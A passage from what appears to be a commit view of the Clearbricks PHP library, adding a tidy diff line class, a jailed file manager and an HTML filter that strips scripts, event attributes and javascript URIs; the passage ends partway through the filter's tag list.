{
return array_key_exists($n, $this->__info) ? $this->__info[$n] : null;
}
/**
* Find changes
*
* Finds changes inside lines for each groups of diff lines. Wraps changes
* by string \0 and \1
*/
public function findInsideChanges(): void
{
$groups = $this->getGroups();
foreach ($groups as $group) {
$middle = count($group) / 2;
for ($i = 0; $i < $middle; $i++) {
$from = $group[$i];
$to = $group[$i + $middle];
$threshold = $this->getChangeExtent($from->content, $to->content);
if ($threshold['start'] != 0 || $threshold['end'] != 0) {
$start = $threshold['start'];
$end = $threshold['end'] + strlen($from->content);
$offset = $end - $start;
$from->overwrite(
substr($from->content, 0, $start) . '\0' .
substr($from->content, $start, $offset) . '\1' .
substr($from->content, $end, strlen($from->content))
);
$end = $threshold['end'] + strlen($to->content);
$offset = $end - $start;
$to->overwrite(
substr($to->content, 0, $start) . '\0' .
substr($to->content, $start, $offset) . '\1' .
substr($to->content, $end, strlen($to->content))
);
}
}
}
}
private function getGroups(): array
{
$res = $group = [];
$allowed_types = ['delete', 'insert'];
$delete = $insert = 0;
foreach ($this->__data as $line) {
if (in_array($line->type, $allowed_types)) {
array_push($group, $line);
${$line->type}++;
} else {
if ($delete === $insert && count($group) > 0) {
array_push($res, $group);
}
$delete = $insert = 0;
$group = [];
}
}
if ($delete === $insert && count($group) > 0) {
array_push($res, $group);
}
return $res;
}
private function getChangeExtent(string $str1, string $str2): array
{
$start = 0;
$limit = min(strlen($str1), strlen($str2));
while ($start < $limit && $str1[$start] === $str2[$start]) {
$start++;
}
$end = -1;
$limit = $limit - $start;
while (-$end <= $limit && $str1[strlen($str1) + $end] === $str2[strlen($str2) + $end]) {
$end--;
}
return ['start' => $start, 'end' => $end + 1];
}
}
/**
* @class tidyDiffLine
* @brief TIDY diff line
*
* A diff line representation. Used by a TIDY chunk.
*
* @package Clearbricks
* @subpackage Diff
*/
class tidyDiffLine
{
/**
* Line type
*
* @var string
*/
protected $type;
/**
* Line number for old and new context
*
* @var array
*/
protected $lines;
/**
* Line content
*
* @var string
*/
protected $content;
/**
* Constructor
*
* Creates a line representation for a tidy chunk.
*
* @param string $type Tine type
* @param array $lines Line number for old and new context
* @param string $content Line content
*/
public function __construct(string $type, ?array $lines, ?string $content)
{
$allowed_type = ['context', 'delete', 'insert'];
if (in_array($type, $allowed_type) && is_array($lines) && is_string($content)) {
$this->type = $type;
$this->lines = $lines;
$this->content = $content;
}
}
/**
* Magic get
*
* Returns field content according to the given name, null otherwise.
*
* @param string $n Field name
*
* @return mixed
*/
public function __get(string $n)
{
return $this->{$n} ?? null;
}
/**
* Overwrite
*
* Overwrites content for the current line.
*
* @param string $content Line content
*/
public function overwrite(?string $content): void
{
if (is_string($content)) {
$this->content = $content;
}
}
}

View file

@ -0,0 +1,729 @@
<?php
/**
* @class filemanager
* @brief Files management class
*
* @package Clearbricks
* @subpackage Filemanager
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class filemanager
{
/**
* Files manager root path
*
* @var string
*/
public $root;
/**
* Files manager root URL
*
* @var string
*/
public $root_url;
/**
* Working (current) directory
*
* @var string
*/
protected $pwd;
/**
* Array of regexps defining excluded items
*
* @var array
*/
protected $exclude_list = [];
/**
* Files exclusion regexp pattern
*
* @var string
*/
protected $exclude_pattern = '';
/**
* Current directory content array
*
* @var array
*/
public $dir = [
'dirs' => [],
'files' => [],
];
/**
* Constructor
*
* New filemanage istance. Note that filemanage is a jail in given root
* path. You won't be able to access files outside {@link $root} path with
* the object's methods.
*
* @param string $root Root path
* @param string $root_url Root URL
*/
public function __construct(?string $root, ?string $root_url = '')
{
$this->root = $this->pwd = path::real($root);
$this->root_url = $root_url;
if (!preg_match('#/$#', (string) $this->root_url)) {
$this->root_url = $this->root_url . '/';
}
if (!$this->root) {
throw new Exception('Invalid root directory.');
}
}
/**
* Change directory
*
* Changes working directory. $dir is relative to instance {@link $root}
* directory.
*
* @param string $dir Directory
*/
public function chdir(?string $dir): void
{
$realdir = path::real($this->root . '/' . path::clean($dir));
if (!$realdir || !is_dir($realdir)) {
throw new Exception('Invalid directory.');
}
if ($this->isExclude($realdir)) {
throw new Exception('Directory is excluded.');
}
$this->pwd = $realdir;
}
/**
* Get working directory
*
* Returns working directory path.
*
* @return string
*/
public function getPwd(): string
{
return (string) $this->pwd;
}
/**
* Current directory is writable
*
* @return bool true if working directory is writable
*/
public function writable(): bool
{
if (!$this->pwd) {
return false;
}
return is_writable($this->pwd);
}
/**
* Add exclusion
*
* Appends an exclusion to exclusions list. $f should be a regexp.
*
* @see $exclude_list
*
* @param array|string $list Exclusion regexp
*/
public function addExclusion($list): void
{
if (is_array($list)) {
foreach ($list as $item) {
if (($res = path::real($item)) !== false) {
$this->exclude_list[] = $res;
}
}
} elseif (($res = path::real($list)) !== false) {
$this->exclude_list[] = $res;
}
}
/**
* Path is excluded
*
* Returns true if path (file or directory) $path is excluded. $path is
* relative to {@link $root} path.
*
* @see $exclude_list
*
* @param string $path Path to match
*
* @return bool
*/
protected function isExclude(string $path): bool
{
foreach ($this->exclude_list as $item) {
if (strpos($path, $item) === 0) {
return true;
}
}
return false;
}
/**
* File is excluded
*
* Returns true if file $file is excluded. $file is relative to {@link $root}
* path.
*
* @see $exclude_pattern
*
* @param string $file File to match
*
* @return bool
*/
protected function isFileExclude(string $file): bool
{
if (!$this->exclude_pattern) {
return false;
}
return preg_match($this->exclude_pattern, $file);
}
/**
* Item in jail
*
* Returns true if file or directory $path is in jail (ie. not outside the {@link $root} directory).
*
* @param string $path Path to match
*
* @return bool
*/
protected function inJail(string $path): bool
{
$path = path::real($path);
if ($path !== false) {
return preg_match('|^' . preg_quote($this->root, '|') . '|', $path);
}
return false;
}
/**
* File in files
*
* Returns true if file $file is in files array of {@link $dir}.
*
* @param string $file File to match
*
* @return bool
*/
public function inFiles(string $file): bool
{
foreach ($this->dir['files'] as $item) {
if ($item->relname === $file) {
return true;
}
}
return false;
}
/**
* Directory list
*
* Creates list of items in working directory and append it to {@link $dir}
*
* @uses sortHandler(), fileItem
*/
public function getDir(): void
{
$dir = path::clean($this->pwd);
$handle = @opendir($dir);
if ($handle === false) {
throw new Exception('Unable to read directory.');
}
$directories = $files = [];
while (($file = readdir($handle)) !== false) {
$filename = $dir . '/' . $file;
if ($this->inJail($filename) && !$this->isExclude($filename)) {
if (is_dir($filename) && $file !== '.') {
$directory = new fileItem($filename, $this->root, $this->root_url);
if ($file === '..') {
$directory->parent = true;
}
$directories[] = $directory;
}
if (is_file($filename) && strpos($file, '.') !== 0 && !$this->isFileExclude($file)) {
$files[] = new fileItem($filename, $this->root, $this->root_url);
}
}
}
closedir($handle);
$this->dir = [
'dirs' => $directories,
'files' => $files,
];
usort($this->dir['dirs'], [$this, 'sortHandler']);
usort($this->dir['files'], [$this, 'sortHandler']);
}
/**
* Root directories
*
* Returns an array of directory under {@link $root} directory.
*
* @uses fileItem
*
* @return array
*/
public function getRootDirs(): array
{
$directories = files::getDirList($this->root);
$res = [];
foreach ($directories['dirs'] as $directory) {
$res[] = new fileItem($directory, $this->root, $this->root_url);
}
return $res;
}
/**
* Upload file
*
* Move <var>$tmp</var> file to its final destination <var>$dest</var> and
* returns the destination file path.
*
* <var>$dest</var> should be in jail. This method will throw exception
* if the file cannot be written.
*
* You should first verify upload status, with {@link files::uploadStatus()}
* or PHP native functions.
*
* @see files::uploadStatus()
*
* @param string $tmp Temporary uploaded file path
* @param string $dest Destination file
* @param bool $overwrite Overwrite mode
*
* @return string Destination real path
*/
public function uploadFile(string $tmp, string $dest, bool $overwrite = false)
{
$dest = $this->pwd . '/' . path::clean($dest);
if ($this->isFileExclude($dest)) {
throw new Exception(__('Uploading this file is not allowed.'));
}
if (!$this->inJail(dirname($dest))) {
throw new Exception(__('Destination directory is not in jail.'));
}
if (!$overwrite && file_exists($dest)) {
throw new Exception(__('File already exists.'));
}
if (!is_writable(dirname($dest))) {
throw new Exception(__('Cannot write in this directory.'));
}
if (@move_uploaded_file($tmp, $dest) === false) {
throw new Exception(__('An error occurred while writing the file.'));
}
files::inheritChmod($dest);
return (string) path::real($dest);
}
/**
* Upload file by bits
*
* Creates a new file <var>$name</var> with contents of <var>$bits</var> and
* return the destination file path.
*
* <var>$name</var> should be in jail. This method will throw exception
* if file cannot be written.
*
* @param string $name Destination file
* @param string $bits Destination file content
*
* @return string Destination real path
*/
public function uploadBits(string $name, string $bits): string
{
$dest = $this->pwd . '/' . path::clean($name);
if ($this->isFileExclude($dest)) {
throw new Exception(__('Uploading this file is not allowed.'));
}
if (!$this->inJail(dirname($dest))) {
throw new Exception(__('Destination directory is not in jail.'));
}
if (!is_writable(dirname($dest))) {
throw new Exception(__('Cannot write in this directory.'));
}
$fp = @fopen($dest, 'wb');
if ($fp === false) {
throw new Exception(__('An error occurred while writing the file.'));
}
fwrite($fp, $bits);
fclose($fp);
files::inheritChmod($dest);
return (string) path::real($dest);
}
/**
* New directory
*
* Creates a new directory relative to working directory.
*
* @param string $name Directory name
*/
public function makeDir(?string $name): void
{
files::makeDir($this->pwd . '/' . path::clean($name));
}
/**
* Move file
*
* Moves a file to a new destination. Both paths are relative to {@link $root}.
*
* @param string $src_path Source file path
* @param string $dst_path Destination file path
*/
public function moveFile(?string $src_path, ?string $dst_path): void
{
$src_path = $this->root . '/' . path::clean($src_path);
$dst_path = $this->root . '/' . path::clean($dst_path);
if (($src_path = path::real($src_path)) === false) {
throw new Exception(__('Source file does not exist.'));
}
$dest_dir = path::real(dirname($dst_path));
if (!$this->inJail($src_path)) {
throw new Exception(__('File is not in jail.'));
}
if (!$this->inJail($dest_dir)) {
throw new Exception(__('File is not in jail.'));
}
if (!is_writable($dest_dir)) {
throw new Exception(__('Destination directory is not writable.'));
}
if (@rename($src_path, $dst_path) === false) {
throw new Exception(__('Unable to rename file.'));
}
}
/**
* Remove item
*
* Removes a file or directory which is relative to working directory.
*
* @param string $name Item to remove
*/
public function removeItem(?string $name): void
{
$file = (string) path::real($this->pwd . '/' . path::clean($name));
if (is_file($file)) {
$this->removeFile($name);
} elseif (is_dir($file)) {
$this->removeDir($name);
}
}
/**
* Remove item
*
* Removes a file which is relative to working directory.
*
* @param string $file File to remove
*/
public function removeFile(?string $file): void
{
$path = (string) path::real($this->pwd . '/' . path::clean($file));
if (!$this->inJail($path)) {
throw new Exception(__('File is not in jail.'));
}
if (!files::isDeletable($path)) {
throw new Exception(__('File cannot be removed.'));
}
if (@unlink($path) === false) {
throw new Exception(__('File cannot be removed.'));
}
}
/**
* Remove item
*
* Removes a directory which is relative to working directory.
*
* @param string $directory Directory to remove
*/
public function removeDir(?string $directory): void
{
$path = (string) path::real($this->pwd . '/' . path::clean($directory));
if (!$this->inJail($path)) {
throw new Exception(__('Directory is not in jail.'));
}
if (!files::isDeletable($path)) {
throw new Exception(__('Directory cannot be removed.'));
}
if (@rmdir($path) === false) {
throw new Exception(__('Directory cannot be removed.'));
}
}
/**
* SortHandler
*
* This method is called by {@link getDir()} to sort files. Can be overrided
* in inherited classes.
*
* @param fileItem $a fileItem object
* @param fileItem $b fileItem object
*
* @return int
*/
protected function sortHandler(fileItem $a, fileItem $b): int
{
if ($a->parent && !$b->parent || !$a->parent && $b->parent) {
return ($a->parent) ? -1 : 1;
}
return strcasecmp($a->basename, $b->basename);
}
}
/**
* @class fileItem
* @brief File item
*
* File item class used by {@link filemanager}. In this class {@link $file} could
* be either a file or a directory.
*
* @package Clearbricks
* @subpackage Filemanager
*/
class fileItem
{
/**
* Complete path to file
*
* @var string
*/
public $file;
/**
* File basename
*
* @var string
*/
public $basename;
/**
* File directory name
*
* @var string
*/
public $dir;
/**
* File URL
*
* @var string
*/
public $file_url;
/**
* File directory URL
*
* @var string
*/
public $dir_url;
/**
* File extension
*
* @var string
*/
public $extension;
/**
* File path relative to <var>$root</var> given in constructor
*
* @var string
*/
public $relname;
/**
* Parent directory (ie. "..")
*
* @var bool
*/
public $parent = false;
/**
* File MimeType
*
* @see {@link files::getMimeType()}
*
* @var string
*/
public $type;
/**
* File MimeType prefix
*
* @var string
*/
public $type_prefix;
/**
* File modification timestamp
*
* @var int
*/
public $mtime;
/**
* File size
*
* @var int
*/
public $size;
/**
* File permissions mode
*
* @var int
*/
public $mode;
/**
* File owner ID
*
* @var int
*/
public $uid;
/**
* File group ID
*
* @var int
*/
public $gid;
/**
* True if file or directory is writable
*
* @var bool
*/
public $w;
/**
* True if file is a directory
*
* @var bool
*/
public $d;
/**
* True if file file is executable or directory is traversable
*
* @var bool
*/
public $x;
/**
* True if file is a file
*
* @var bool
*/
public $f;
/**
* True if file or directory is deletable
*
* @var bool
*/
public $del;
/**
* Constructor
*
* Creates an instance of fileItem object.
*
* @param string $file Absolute file or directory path
* @param string $root File root path
* @param string $root_url File root URL
*/
public function __construct(string $file, ?string $root, ?string $root_url = '')
{
$file = path::real($file);
$stat = stat($file);
$path = path::info($file);
$rel = preg_replace('/^' . preg_quote($root, '/') . '\/?/', '', (string) $file);
// Properties
$this->file = $file;
$this->basename = $path['basename'];
$this->dir = $path['dirname'];
$this->relname = $rel;
// URL
$this->file_url = $root_url . str_replace('%2F', '/', rawurlencode($rel));
$this->dir_url = dirname($this->file_url);
// File type
$this->extension = $path['extension'];
$this->type = $this->d ? null : files::getMimeType($file);
$this->type_prefix = preg_replace('/^(.+?)\/.+$/', '$1', (string) $this->type);
// Filesystem infos
$this->mtime = $stat[9];
$this->size = $stat[7];
$this->mode = $stat[2];
$this->uid = $stat[4];
$this->gid = $stat[5];
// Flags
$this->w = is_writable($file);
$this->d = is_dir($file);
$this->f = is_file($file);
$this->x = $this->d ? file_exists($file . '/.') : false;
$this->del = files::isDeletable($file);
}
}

View file

@ -0,0 +1,934 @@
<?php
/**
* @class htmlFilter
* @brief HTML code filter
*
* This class removes all unwanted tags and attributes from an HTML string.
*
* This was inspired by Ulf Harnhammar's Kses (http://sourceforge.net/projects/kses)
*
* @package Clearbricks
* @subpackage HTML
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class htmlFilter
{
/**
* Parser handle
*
* @var mixed resource|XMLParser
*/
private $parser;
/**
* HTML content
*
* @var string
*/
public $content;
/**
* Current tag
*
* @var string
*/
private $tag;
/**
* Constructs a new instance.
*
* @param bool $keep_aria Keep aria attributes
* @param bool $keep_data Keep data elements
* @param bool $keep_js Keep javascript elements
*/
public function __construct(bool $keep_aria = false, bool $keep_data = false, bool $keep_js = false)
{
$this->parser = xml_parser_create('UTF-8');
xml_set_object($this->parser, $this);
xml_set_element_handler($this->parser, [$this, 'tag_open'], [$this, 'tag_close']);
xml_set_character_data_handler($this->parser, [$this, 'cdata']);
xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
$this->removeTags(
'applet',
'base',
'basefont',
'body',
'center',
'dir',
'font',
'frame',
'frameset',
'head',
'html',
'isindex',
'link',
'menu',
'menuitem',
'meta',
'noframes',
'script',
'noscript',
'style'
);
// Remove aria-* and data-* attributes if necessary (tidy extension does it, not ready for HTML5)
if (!$keep_aria) {
$this->removePatternAttributes('^aria-[\-\w]+$');
$this->removeAttributes('role');
}
if (!$keep_data) {
$this->removePatternAttributes('^data-[\-\w].*$');
}
if (!$keep_js) {
// Remove events attributes
$this->removeArrayAttributes($this->event_attrs);
// Remove inline JS in URI
$this->removeHosts('javascript');
}
}
/**
* Append hosts
*
* Appends hosts to remove from URI. Each method argument is a host. Example:
*
* <code>
* <?php
* $filter = new htmlFilter();
* $filter->removeHosts('javascript');
* ?>
* </code>
*
* @param mixed ...$args The arguments
*/
public function removeHosts(...$args): void
{
foreach ($this->argsArray([...$args]) as $host) {
$this->removed_hosts[] = $host;
}
}
/**
* Append tags
*
* Appends tags to remove. Each method argument is a tag. Example:
*
* <code>
* <?php
* $filter = new htmlFilter();
* $filter->removeTags('frame','script');
* ?>
* </code>
*
* @param mixed ...$args The arguments
*/
public function removeTags(...$args): void
{
foreach ($this->argsArray([...$args]) as $tag) {
$this->removed_tags[] = $tag;
}
}
/**
* Append attributes
*
* Appends attributes to remove. Each method argument is an attribute. Example:
*
* <code>
* <?php
* $filter = new htmlFilter();
* $filter->removeAttributes('onclick','onunload');
* ?>
* </code>
*
* @param mixed ...$args The arguments
*/
public function removeAttributes(...$args): void
{
foreach ($this->argsArray([...$args]) as $a) {
$this->removed_attrs[] = $a;
}
}
/**
* Append array of attributes
*
* Appends attributes to remove. Example:
*
* <code>
* <?php
* $filter = new htmlFilter();
* $filter->removeAttributes(['onload','onerror']);
* ?>
* </code>
*
* @param array $attrs The attributes
*/
public function removeArrayAttributes(array $attrs): void
{
foreach ($attrs as $a) {
$this->removed_attrs[] = $a;
}
}
/**
* Append attribute patterns
*
* Appends attribute patterns to remove. Each method argument is an attribute pattern. Example:
*
* <code>
* <?php
* $filter = new htmlFilter();
* $filter->removeAttributes('data-.*');
* ?>
* </code>
*
* @param mixed ...$args The arguments
*/
public function removePatternAttributes(...$args): void
{
foreach ($this->argsArray([...$args]) as $a) {
$this->removed_pattern_attrs[] = $a;
}
}
/**
* Append attributes for tags
*
* Appends attributes to remove from specific tags. Each method argument is
* an array of tags with attributes. Example:
*
* <code>
* <?php
* $filter = new htmlFilter();
* $filter->removeTagAttributes(['a' => ['src','title']]);
* ?>
* </code>
*
* @param string $tag The tag
* @param mixed ...$args The arguments
*/
public function removeTagAttributes(string $tag, ...$args): void
{
foreach ($this->argsArray([...$args]) as $a) {
$this->removed_tag_attrs[$tag][] = $a;
}
}
/**
* Known tags
*
* Creates a list of known tags.
*
* @param array $tags Tags array
*/
public function setTags(array $tags): void
{
if (is_array($tags)) {
$this->tags = $tags;
}
}
/**
* Apply filter
*
* This method applies filter on given <var>$str</var> string. It will first
* try to use tidy extension if exists and then apply the filter.
*
* @param string $str String to filter
* @param boolean $tidy Use tidy extension if present
*
* @return string Filtered string
*/
public function apply(string $str, bool $tidy = true): string
{
if ($tidy && extension_loaded('tidy') && class_exists('tidy')) {
$config = [
'doctype' => 'strict',
'drop-proprietary-attributes' => true,
'escape-cdata' => true,
'indent' => false,
'join-classes' => false,
'join-styles' => true,
'lower-literals' => true,
'output-xhtml' => true,
'show-body-only' => true,
'wrap' => 80,
];
$str = '<p>tt</p>' . $str; // Fixes a big issue
$tidy = new tidy();
$tidy->parseString($str, $config, 'utf8');
$tidy->cleanRepair();
/* @phpstan-ignore-next-line */
$str = (string) $tidy;
$str = preg_replace('#^<p>tt</p>\s?#', '', $str);
} else {
$str = $this->miniTidy($str);
}
# Removing open comments, open CDATA and processing instructions
$str = preg_replace('%<!--.*?-->%msu', '', $str);
$str = str_replace('<!--', '', $str);
$str = preg_replace('%<!\[CDATA\[.*?\]\]>%msu', '', $str);
$str = str_replace('<![CDATA[', '', $str);
# Transform processing instructions
$str = str_replace('<?', '&gt;?', $str);
$str = str_replace('?>', '?&lt;', $str);
$str = html::decodeEntities($str, true);
$this->content = '';
xml_parse($this->parser, '<all>' . $str . '</all>');
return $this->content;
}
/**
* Mini Tidy, used if tidy extension is not loaded (see above)
*
* @param string $str The string
*
* @return mixed
*/
private function miniTidy(string $str)
{
return preg_replace_callback('%(<(?!(\s*?/|!)).*?>)%msu', [$this, 'miniTidyFixTag'], $str);
}
/**
* Tag (with its attributes) helper for miniTidy(), see above
*
* @param array $match The match
*
* @return mixed
*/
private function miniTidyFixTag(array $match)
{
return preg_replace_callback('%(=")(.*?)(")%msu', [$this, 'miniTidyFixAttr'], $match[1]);
}
/**
* Attribute (with its value) helper for miniTidyFixTag(), see above
*
* Escape entities in attributes value
*
* @param array $match The match
*
* @return string
*/
private function miniTidyFixAttr(array $match): string
{
return $match[1] . html::escapeHTML(html::decodeEntities($match[2])) . $match[3];
}
/**
* Return a (almost) flatten and cleaned array
*
* @param array $args The arguments
*
* @return array
*/
private function argsArray(array $args): array
{
$result = [];
foreach ($args as $arg) {
if (is_array($arg)) {
$result = array_merge($result, $arg);
} else {
$result[] = (string) $arg;
}
}
return array_unique($result);
}
/**
* xml_set_element_handler() open tag handler
*
* @param mixed $parser The parser (resource|XMLParser)
* @param string $tag The tag
* @param array $attrs The attributes
*/
private function tag_open($parser, string $tag, array $attrs): void
{
$this->tag = strtolower($tag);
if ($this->tag == 'all') {
return;
}
if ($this->allowedTag($this->tag)) {
$this->content .= '<' . $tag . $this->getAttrs($tag, $attrs);
if (in_array($this->tag, $this->single_tags)) {
$this->content .= ' />';
} else {
$this->content .= '>';
}
}
}
/**
* xml_set_element_handler() close tag handler
*
* @param mixed $parser The parser (resource|XMLParser)
* @param string $tag The tag
*/
private function tag_close($parser, string $tag): void
{
if (!in_array($tag, $this->single_tags) && $this->allowedTag($tag)) {
$this->content .= '</' . $tag . '>';
}
}
/**
* xml_set_character_data_handler() data handler
*
* @param mixed $parser The parser (resource|XMLParser)
* @param string $cdata The cdata
*/
private function cdata($parser, string $cdata): void
{
$this->content .= html::escapeHTML($cdata);
}
/**
* Gets the allowed attributes.
*
* @param string $tag The tag
* @param array $attrs The attributes
*
* @return string The attributes.
*/
private function getAttrs(string $tag, array $attrs): string
{
$res = '';
foreach ($attrs as $n => $v) {
if ($this->allowedAttr($tag, $n)) {
$res .= $this->getAttr($n, $v);
}
}
return $res;
}
/**
* Gets the attribute with its value.
*
* @param string $attr The attribute
* @param string $value The value
*
* @return string The attribute.
*/
private function getAttr(string $attr, string $value): string
{
$value = preg_replace('/\xad+/', '', $value);
if (in_array($attr, $this->uri_attrs)) {
$value = $this->getURI($value);
}
return ' ' . $attr . '="' . html::escapeHTML($value) . '"';
}
/**
* Sanitize an URI value
*
* @param string $uri The uri
*
* @return string The uri.
*/
private function getURI(string $uri): string
{
// Trim URI
$uri = trim($uri);
// Remove escaped Unicode characters
$uri = preg_replace('/\\\u[a-fA-F0-9]{4}/', '', $uri);
// Sanitize and parse URL
$uri = filter_var($uri, FILTER_SANITIZE_URL);
$u = @parse_url($uri);
if (is_array($u) && (empty($u['scheme']) || in_array($u['scheme'], $this->allowed_schemes))) {
if (empty($u['host']) || (!in_array($u['host'], $this->removed_hosts))) {
return $uri;
}
}
return '#';
}
/**
* Check if a tag is allowed
*
* @param string $tag The tag
*
* @return bool
*/
private function allowedTag(string $tag): bool
{
return !in_array($tag, $this->removed_tags) && isset($this->tags[$tag]);
}
/**
* Check if a tag's attribute is allowed
*
* @param string $tag The tag
* @param string $attr The attribute
*
* @return bool ( description_of_the_return_value )
*/
private function allowedAttr(string $tag, string $attr): bool
{
if (in_array($attr, $this->removed_attrs)) {
return false;
}
if (isset($this->removed_tag_attrs[$tag]) && in_array($attr, $this->removed_tag_attrs[$tag])) {
return false;
}
if (!isset($this->tags[$tag]) || (!in_array($attr, $this->tags[$tag]) && !in_array($attr, $this->gen_attrs) && !in_array($attr, $this->event_attrs) && !$this->allowedPatternAttr($attr))) {
// Not in tag allowed attributes and
// Not in allowed generic attributes and
// Not in allowed event attributes and
// Not in allowed grep attributes
return false;
}
return true;
}
/**
* Check if a tag's attribute is in allowed grep attributes
*
* @param string $attr The attribute
*
* @return bool
*/
private function allowedPatternAttr(string $attr): bool
{
foreach ($this->removed_pattern_attrs as $pattern) {
if (preg_match('/' . $pattern . '/u', $attr)) {
return false;
}
}
foreach ($this->grep_attrs as $pattern) {
if (preg_match('/' . $pattern . '/u', $attr)) {
return true;
}
}
return false;
}
/* Tags and attributes definitions
* Source: https://developer.mozilla.org/fr/docs/Web/HTML/
------------------------------------------------------- */
/**
* Stack of removed tags
*
* @var array
*/
private $removed_tags = [];
/**
* Stack of removed attributes
*
* @var array
*/
private $removed_attrs = [];
/**
* Stack of removed attibutes (via pattern)
*
* @var array
*/
private $removed_pattern_attrs = [];
/**
* Stack of removed tags' attributes
*
* @var array
*/
private $removed_tag_attrs = [];
/**
* Stack of removed hosts
*
* @var array
*/
private $removed_hosts = [];
/**
* List of allowed schemes (URI)
*
* @var array
*/
private $allowed_schemes = [
'data',
'http',
'https',
'ftp',
'mailto',
'news',
];
/**
* List of attributes which allow URI value
*
* @var array
*/
private $uri_attrs = [
'action',
'background',
'cite',
'classid',
'code',
'codebase',
'data',
'download',
'formaction',
'href',
'longdesc',
'profile',
'src',
'usemap',
];
/**
* List of generic attributes
*
* @var array
*/
private $gen_attrs = [
'accesskey',
'class',
'contenteditable',
'contextmenu',
'dir',
'draggable',
'dropzone',
'hidden',
'id',
'itemid',
'itemprop',
'itemref',
'itemscope',
'itemtype',
'lang',
'role',
'slot',
'spellcheck',
'style',
'tabindex',
'title',
'translate',
'xml:base',
'xml:lang', ];
/**
* List of events attributes
*
* @var array
*/
private $event_attrs = [
'onabort',
'onafterprint',
'onautocomplete',
'onautocompleteerror',
'onbeforeprint',
'onbeforeunload',
'onblur',
'oncancel',
'oncanplay',
'oncanplaythrough',
'onchange',
'onclick',
'onclose',
'oncontextmenu',
'oncuechange',
'ondblclick',
'ondrag',
'ondragend',
'ondragenter',
'ondragexit',
'ondragleave',
'ondragover',
'ondragstart',
'ondrop',
'ondurationchange',
'onemptied',
'onended',
'onerror',
'onfocus',
'onhashchange',
'oninput',
'oninvalid',
'onkeydown',
'onkeypress',
'onkeyup',
'onlanguagechange',
'onload',
'onloadeddata',
'onloadedmetadata',
'onloadstart',
'onmessage',
'onmousedown',
'onmouseenter',
'onmouseleave',
'onmousemove',
'onmouseout',
'onmouseover',
'onmouseup',
'onmousewheel',
'onoffline',
'ononline',
'onpause',
'onplay',
'onplaying',
'onpopstate',
'onprogress',
'onratechange',
'onredo',
'onreset',
'onresize',
'onscroll',
'onseeked',
'onseeking',
'onselect',
'onshow',
'onsort',
'onstalled',
'onstorage',
'onsubmit',
'onsuspend',
'ontimeupdate',
'ontoggle',
'onundo',
'onunload',
'onvolumechange',
'onwaiting',
];
/**
* List of pattern'ed attributes
*
* @var array
*/
private $grep_attrs = [
'^aria-[\-\w]+$',
'^data-[\-\w].*$',
];
/**
* List of single tags
*
* @var array
*/
private $single_tags = [
'area',
'base',
'basefont',
'br',
'col',
'embed',
'frame',
'hr',
'img',
'input',
'isindex',
'keygen',
'link',
'meta',
'param',
'source',
'track',
'wbr',
];
/**
* List of tags and their attributes
*
* @var array
*/
private $tags = [
// A
'a' => ['charset', 'coords', 'download', 'href', 'hreflang', 'name', 'ping', 'referrerpolicy',
'rel', 'rev', 'shape', 'target', 'type', ],
'abbr' => [],
'acronym' => [],
'address' => [],
'applet' => ['align', 'alt', 'archive', 'code', 'codebase', 'datafld', 'datasrc', 'height', 'hspace',
'mayscript', 'name', 'object', 'vspace', 'width', ],
'area' => ['alt', 'coords', 'download', 'href', 'name', 'media', 'nohref', 'referrerpolicy', 'rel',
'shape', 'target', 'type', ],
'article' => [],
'aside' => [],
'audio' => ['autoplay', 'buffered', 'controls', 'loop', 'muted', 'played', 'preload', 'src', 'volume'],
// B
'b' => [],
'base' => ['href', 'target'],
'basefont' => ['color', 'face', 'size'],
'bdi' => [],
'bdo' => [],
'big' => [],
'blockquote' => ['cite'],
'body' => ['alink', 'background', 'bgcolor', 'bottommargin', 'leftmargin', 'link', 'text', 'rightmargin',
'text', 'topmargin', 'vlink', ],
'br' => ['clear'],
'button' => ['autofocus', 'autocomplete', 'disabled', 'form', 'formaction', 'formenctype', 'formmethod', 'formnovalidate', 'formtarget', 'name', 'type', 'value'],
// C
'canvas' => ['height', 'width'],
'caption' => ['align'],
'center' => [],
'cite' => [],
'code' => [],
'col' => ['align', 'bgcolor', 'char', 'charoff', 'span', 'valign', 'width'],
'colgroup' => ['align', 'bgcolor', 'char', 'charoff', 'span', 'valign', 'width'],
// D
'data' => ['value'],
'datalist' => [],
'dd' => ['nowrap'],
'del' => ['cite', 'datetime'],
'details' => ['open'],
'dfn' => [],
'dialog' => ['open'],
'dir' => ['compact'],
'div' => ['align'],
'dl' => [],
'dt' => [],
// E
'em' => [],
'embed' => ['height', 'src', 'type', 'width'],
// F
'fieldset' => ['disabled', 'form', 'name'],
'figcaption' => [],
'figure' => [],
'font' => ['color', 'face', 'size'],
'footer' => [],
'form' => ['accept', 'accept-charset', 'action', 'autocapitalize', 'autocomplete', 'enctype', 'method',
'name', 'novalidate', 'target', ],
'frame' => ['frameborder', 'marginheight', 'marginwidth', 'name', 'noresize', 'scrolling', 'src'],
'frameset' => ['cols', 'rows'],
// G
// H
'h1' => ['align'],
'h2' => ['align'],
'h3' => ['align'],
'h4' => ['align'],
'h5' => ['align'],
'h6' => ['align'],
'head' => ['profile'],
'hr' => ['align', 'color', 'noshade', 'size', 'width'],
'html' => ['manifest', 'version', 'xmlns'],
// I
'i' => [],
'iframe' => ['align', 'allowfullscreen', 'allowpaymentrequest', 'frameborder', 'height', 'longdesc',
'marginheight', 'marginwidth', 'name', 'referrerpolicy', 'sandbox', 'scrolling', 'src', 'srcdoc', 'width', ],
'img' => ['align', 'alt', 'border', 'crossorigin', 'decoding', 'height', 'hspace', 'ismap', 'longdesc',
'name', 'referrerpolicy', 'sizes', 'src', 'srcset', 'usemap', 'vspace', 'width', ],
'input' => ['accept', 'alt', 'autocomplete', 'autofocus', 'capture', 'checked', 'disabled', 'form',
'formaction', 'formenctype', 'formmethod', 'formnovalidate', 'formtarget', 'height', 'inputmode', 'ismap',
'list', 'max', 'maxlength', 'min', 'minlength', 'multiple', 'name', 'pattern', 'placeholder', 'readonly',
'required', 'selectionDirection', 'selectionEnd', 'selectionStart', 'size', 'spellcheck', 'src', 'step', 'type',
'usemap', 'value', 'width', ],
'ins' => ['cite', 'datetime'],
'isindex' => ['action', 'prompt'],
// J
// K
'kbd' => [],
'keygen' => ['autofocus', 'challenge', 'disabled', 'form', 'keytype', 'name'],
// L
'label' => ['for', 'form'],
'legend' => [],
'li' => ['type', 'value'],
